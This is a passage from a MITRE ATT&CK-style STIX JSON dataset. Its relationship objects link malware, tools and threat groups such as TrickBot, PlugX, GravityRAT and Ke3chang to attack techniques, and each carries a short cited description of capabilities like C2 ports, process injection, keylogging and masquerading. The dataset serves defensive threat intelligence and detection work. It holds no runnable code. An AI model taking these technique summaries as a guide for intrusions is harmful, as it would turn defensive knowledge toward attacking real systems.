                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.993Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nidiran](https://attack.mitre.org/software/S0118) communicates with its C2 domain over ports 443 and 8443.(Citation: Symantec Suckfly May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Suckfly May 2016",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--33e3573b-0f18-417c-be17-727863fc21ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.301Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--73db6a54-2270-431b-b7eb-2c5c71389637",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.139Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1a04e8c4-f697-446b-810a-8162ad7353ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) has used Technet and Pastebin web pages for command and control.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:21:52.179Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9420e9de-cc4c-4d5c-b40f-02c57dcc4fd9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).(Citation: \u00dcberwachung APT28 Forfiles June 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015",
                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5"
        },
        {
            "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-02-11T16:29:35.487Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fc3ec682-31cc-4e74-8d04-a5fdef9e8410",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) uses a command-line interface.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:23:54.389Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ab62293d-8f89-46b5-bab1-f7b564f5996f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts collected data with AES and Base64 and then sends it to the C2 server.(Citation: FireEye FELIXROOT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:52:44.822Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "In one instance, [menuPass](https://attack.mitre.org/groups/G0045) added [PlugX](https://attack.mitre.org/software/S0013) as a service with a display name of \"Corel Writing Tools Utility.\"(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T15:34:10.609Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.719Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--81bace85-005e-4edd-bb71-ca7a57bc8a07",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) copies itself into a running Internet Explorer process to evade detection.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.448Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to set up a proxy tunnel to allow remote host access to an infected host.(Citation: Securelist fileless attacks Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist fileless attacks Feb 2017",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.",
                    "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/"
                }
            ],
            "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-28T01:00:55.143Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e9f95f0-4939-4e74-9073-70efddddff50",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) can download remote files onto victims.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.907Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) injects into the svchost.exe process.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Cyberreason Anchor December 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                },
                {
                    "source_name": "Microsoft Totbrick Oct 2017",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.732Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain a listing of running processes (including loaded modules).(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T00:00:03.506Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Suckfly](https://attack.mitre.org/groups/G0039) has used stolen certificates to sign its malware.(Citation: Symantec Suckfly March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates",
                    "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly March 2016"
                }
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-03-25T16:59:47.276Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
            "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find information about the operating system.(Citation: TechNet Dir)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Dir",
                    "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx"
                }
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T19:12:13.064Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the IP address from the victim\u2019s machine.(Citation: Talos Konni May 2017)",
            "id": "relationship--2251e15a-5b62-408d-b6a0-01aa8e2677b3",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.488Z",
            "created": "2019-01-31T00:36:41.019Z"
        },
        {
            "id": "relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "type": "relationship",
            "modified": "2020-03-20T18:44:05.642Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--77f9936d-1ba7-42a8-879d-1a6e90156366",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.223Z",
            "created": "2017-05-31T21:33:27.034Z"
        },
        {
            "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T01:22:54.016Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f436f533-1116-499f-b073-9cc7698e18b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) captures window titles.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.488Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:07:48.537Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory <code>CSIDL_APPDATA\\microsoft\\security</code>.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:52:51.127Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f39446a9-07d1-456a-b48b-241aab979e55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used keyloggers.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.228Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used a victim's endpoint management platform, Altiris, for lateral movement.(Citation: Dell TG-1314)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "type": "relationship",
            "modified": "2019-03-25T17:01:21.310Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "id": "relationship--59193fff-6bea-41c6-b744-36850e6cc39a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) determines a working directory where it stores all the gathered data about the compromised machine.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
